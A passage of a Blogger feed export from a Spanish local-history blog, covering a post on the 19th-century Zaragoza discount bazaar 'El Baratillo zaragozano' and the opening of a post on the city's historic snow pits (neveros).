&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Hoy en día,
este tipo de establecimientos se ha extendido por todo el país, la palabra
inglesa &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;outlet&lt;/i&gt;&lt;/b&gt; &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;les da un aire moderno,
novedoso, actual… que invita a comprar, quizá porque en cierto modo “suaviza” lo
que en realidad se ofrece en ellas pretendiendo dejar lejos &lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;lo que antes, sin ningún tipo de “pudor”, se
denominaban &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;saldos&lt;/b&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Realmente este
tipo de tiendas no son una novedad, como ya hemos indicado tienen larga
tradición. Por la citada &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Guía&lt;/i&gt; conocemos
la existencia de una de ellas en nuestra ciudad, aunque los datos que
proporciona son más bien escasos. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Nos dice su
nombre, el &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Baratillo zaragozano&lt;/b&gt;, que
por sí sólo habla de que estaba dedicado a la venta de diferentes artículos a
bajo precio, señala la guía que era: &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;“…un inmenso
bazar, una mina inagotable de telas, ropas y objetos que forman una escala muy
dilatada de estímulos y tentaciones para aligerar los bolsillos, y proveerse de
muchas cosas útiles así para vestir, como para adorno y servicio de las casas”&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;,&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt; &lt;/i&gt;&lt;/b&gt;todo ello, comenta, estaba al
alcance de los bolsillos más modestos. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Claramente señala
que lo que allí se vende son objetos de saldo, pues dice que ese establecimiento
dispone de una &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“…copiosa colección de efectos… consigue dar salida&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;y facilitar el despacho… de las existencias…
de otras tiendas o almacenes que hicieron grandes pedidos&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;y no los vendieron a su tiempo”&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;En esta tienda
se vendían también &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“prendas completas para trages de hombre y mujer”&lt;/i&gt;&lt;/b&gt;, &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;prêt-à-porter &lt;/i&gt;de la época&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt; &lt;/i&gt;en el que podían encontrarse ropas confeccionadas,
adecuadas para cada estación del año que, junto con sus económicos precios, eran
anunciadas pomposamente, a “bombo y platillo”, en los diarios de la ciudad.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;En cuanto a
la clientela no eran sólo los habitantes de Zaragoza los que hacían amplio uso
de este popular comercio, pues tanto los forasteros como las gentes de los
pueblos de alrededor, sobre todo los que acudían con sus productos al mercado, iban
a comprar al conocidísimo &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Baratillo&lt;/i&gt; cuanto
necesitaban, haciendo buen acopio tanto de las prendas confeccionadas como de telas,
hilos y demás, los bajos precios eran todo un reclamo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Desconocemos
su aspecto interior, sólo que era &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“un inmenso bazar”&lt;/i&gt;&lt;/b&gt;, lo que nos hace
pensar que bien pudo ocupar alguna antigua casona de las que tanto abundaban en
la ciudad. Al exterior su aspecto sería humilde, se cerraría con un simple
portón de madera, como todas las tiendas del momento, en esa época los grandes
escaparates con cristales no se utilizaban, es más se consideraban un
despilfarro inadecuado.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Conocemos,
eso sí, el lugar en el que estaba situada, según&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; &lt;/b&gt;indica&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt; &lt;/b&gt;la Guía &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“El
Baratillo zaragozano está situado en la calle Contamina, esquina á la de la
Traición”&lt;/i&gt;&lt;/b&gt;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZMGpas4ShreQgobs28ApevwKlHvgElyikHHJTFfSlzuqq84FSrYiJKgut5y7BxW4mYygp8WtlySFHMbvdmTEzfV6PsiVvvwROusN5j4e-HGF6oSz072RAKb9hQrRkQNHCF7g4GKPfLeAT/s1600/Localizaci%25C3%25B3n-El-Baratillo.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;927&quot; data-original-width=&quot;1000&quot; height=&quot;370&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZMGpas4ShreQgobs28ApevwKlHvgElyikHHJTFfSlzuqq84FSrYiJKgut5y7BxW4mYygp8WtlySFHMbvdmTEzfV6PsiVvvwROusN5j4e-HGF6oSz072RAKb9hQrRkQNHCF7g4GKPfLeAT/s400/Localizaci%25C3%25B3n-El-Baratillo.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;El lugar corresponde hoy a las actuales calles de Jussepe
Martínez esquina con la calle D. Pedro Atarés, nombre que tomó la calle de la
Traición al ser renombrada por el Ayuntamiento en 1863. La actual calle Jussepe
Martínez corresponde a un antiguo tramo de la de Contamina, renombrada también en
esa fecha.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Así pues, la
tienda estaba situada en el corazón de la ciudad, en una zona de calles tan
estrechas como antiquísimas, en lo que hoy llamamos Casco Antiguo.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBD_PlFn-xTIbHlWiGvRyc619mU3z5nrhX99NPV8vDEW2Ke_ZtY5onkGu2QRw90SOlXEhq5P9XpDKic_Oisg45Hn1Rn4FvUyXbgzTNLUB58CZjWWEPeO3D1F_IzhqLX1Z9JFAzOgNVZuPl/s1600/Localizaci%25C3%25B3n-El-Baratillo.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;No sabemos
cuando esta popular tienda-bazar, abrió sus puertas, pero como poco debió
hacerlo en la década de los 50 del s. XIX puesto que tenía plena vigencia en
1860 y que era tan importante y conocida como para figurar en una guía de la
ciudad dedicada a recoger de forma descriptiva sus más variados aspectos.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Tampoco tenemos
noticias de cuando cerró sus puertas, pero bien pudo ser una víctima más del ensanche
realizado para abrir la nueva calle de Alfonso I, que con tanto empeño hizo
posible el alcalde Candalija.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Los derribos,
realizados en 1866, se llevaron por delante casas y porciones de las estrechas
y a veces tortuosas calles, algunas hasta desaparecieron, y otras, convertidas en
bocacalles de la principal, se fueron ensanchando y alineando hasta conseguir
mejorar el aspecto de esta parte de la ciudad.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin: 0px; text-align: right;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4E9PV_ud3-rc5ND5w73EvaD2YbaBMfvmcbi3GbE1lC1ZANmRKW-0P3EFHFUJuSW4wCucUtWte9SHU4L5C6enx06tFWZhjKU6LpnHrQLCZgoUJ9xmODqM4F84yFfeSuDxVELPZPw_7TUqb/s1600/Localizaci%25C3%25B3n+Baratillo.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;939&quot; data-original-width=&quot;1000&quot; height=&quot;375&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4E9PV_ud3-rc5ND5w73EvaD2YbaBMfvmcbi3GbE1lC1ZANmRKW-0P3EFHFUJuSW4wCucUtWte9SHU4L5C6enx06tFWZhjKU6LpnHrQLCZgoUJ9xmODqM4F84yFfeSuDxVELPZPw_7TUqb/s400/Localizaci%25C3%25B3n+Baratillo.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;Ignoramos si &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;El Baratillo zaragozano&lt;/b&gt; resistió las reformas o desapareció definitivamente en ese momento. No hay noticias de
ello.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Rosa M. Germán&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: right;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;;&quot;&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/4152894981513361846/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/09/el-baratillo-zaragozano-una-outlet-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/4152894981513361846'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/4152894981513361846'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2019/09/el-baratillo-zaragozano-una-outlet-de.html' title='El baratillo zaragozano'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikoSVjAox17mKDXoMpQJml2_v-HHsoPKtNWaq39VLjoO4adLOfsTsQJUfrWHwqJQNSqjWMbx5tUU_qzySgnywCVSkgRoJ8O_ZISZvAWo58MDfC9gyVFJEzYyszTuFHD7yepFfYzgzfoJsz/s72-c/GU%25C3%258DA-1860.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-5172164702336646299</id><published>2019-09-14T19:10:00.004+02:00</published><updated>2020-11-14T18:24:39.230+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CONSTRUCCIONES CIVILES"/><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>Los neveros de Zaragoza</title><content type='html'>&lt;div&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;i&gt;&lt;b&gt;¿Sabías que ... Zaragoza tenía neveros para refrescar las bebidas?&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;/span&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin: 0px; text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG725VLReSPNOpq7jREvpNIqqEjtFWClydFMmjPZEo8Fn61F6PneAhD06Ehj2Bnkrx7mDHd92KAj99lhlmWbFpbOe1O5v-v-USKwNHljjZSIaWuiAtIgA9NeezGnjcReweZ_JUKqeg8oeS/s1600/IMG-20190913-WA0000.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1182&quot; data-original-width=&quot;1600&quot; height=&quot;236&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG725VLReSPNOpq7jREvpNIqqEjtFWClydFMmjPZEo8Fn61F6PneAhD06Ehj2Bnkrx7mDHd92KAj99lhlmWbFpbOe1O5v-v-USKwNHljjZSIaWuiAtIgA9NeezGnjcReweZ_JUKqeg8oeS/s320/IMG-20190913-WA0000.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;En este verano, tan
caluroso, ¿quién no ha tomado una bebida fría o un helado? Hoy en día es algo
habitual, que está al alcance de todos en nuestro hogar o fuera de él, pero no
hace tanto tiempo no era así,al menos no para cualquiera. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Contrariamente a lo
que pudiera parecer, el consumo de alimentos helados, granizados y bebidas
frías es antiquísimo, tiene un origen incierto que se remonta a algún milenio
a. C. en China o en Mesopotamia. &lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;(contiene vídeo)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Posteriormente llegó a Persia, luego a Grecia
y de ahí a Roma que lo&lt;span style=&quot;margin: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;extendió por el
Imperio…, aunque sólo estaba al alcance de las clases altas, &lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;no para cualquiera.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;El hielo era muy
apreciado en los meses de verano para refrescar bebidas, pero también se utilizaba
para conservar alimentos. Además se empleaba con fines terapéuticos como febrífugo
y antiinflamatorio.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Pero ¿y el hielo? ¿de
dónde lo sacaban?&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Pues muy fácil, de los
neveros, sencillamente guardando, en lugares adecuados, la nieve del invierno
para utilizarla en verano o cuando fuera necesario. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;, &amp;quot; &amp;quot;arial&amp;quot; &amp;quot; &amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Y… ¿cómo se
conservaba tanto tiempo la nieve? ¿cómo eran los neveros? &lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYeY0iIQmV2NWr594SBvIG8njZjwj5XJ3seG6Qz8murJ2RVpOL6mTiYwpWiuPeC8pLQ-31GwCYRrYJcbcGQPUzvI3dYBUP2xtQdQMHvwzv2-KTRpP3lNf1W2ahNY7_ksDi5tljHDGoYByf/s1600/dibujo-nevero.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1200&quot; data-original-width=&quot;1600&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYeY0iIQmV2NWr594SBvIG8njZjwj5XJ3seG6Qz8murJ2RVpOL6mTiYwpWiuPeC8pLQ-31GwCYRrYJcbcGQPUzvI3dYBUP2xtQdQMHvwzv2-KTRpP3lNf1W2ahNY7_ksDi5tljHDGoYByf/s320/dibujo-nevero.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;div&gt;
Reconstrucción ideal de un nevero&lt;/div&gt;
&lt;div&gt;
Dibujo realizado por Rosa Germán&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Pues tan sencillos como
eficaces. Además de usar algunos lugares naturales, como oquedades o cuevas,
para almacenar la nieve, se construían pozos para ese fin.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Estos pozos de
nieve artificiales, los &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;neveros&lt;/b&gt;, eran
construcciones rústicas, normalmente hechas con piedras, que consistían en agujeros
verticales excavados en el suelo, de unos 10 m de profundidad, y forma generalmente
cilíndrica, aunque también los había de planta rectangular. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;En el interior, las
paredes estaban recubiertas con piedra o ladrillo. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0px; text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;Si el fondo no era
permeable, se construía un falso suelo con maderas y ramas, algo inclinado
hacia un desagüe para facilitar la evacuación de la nieve que se iba
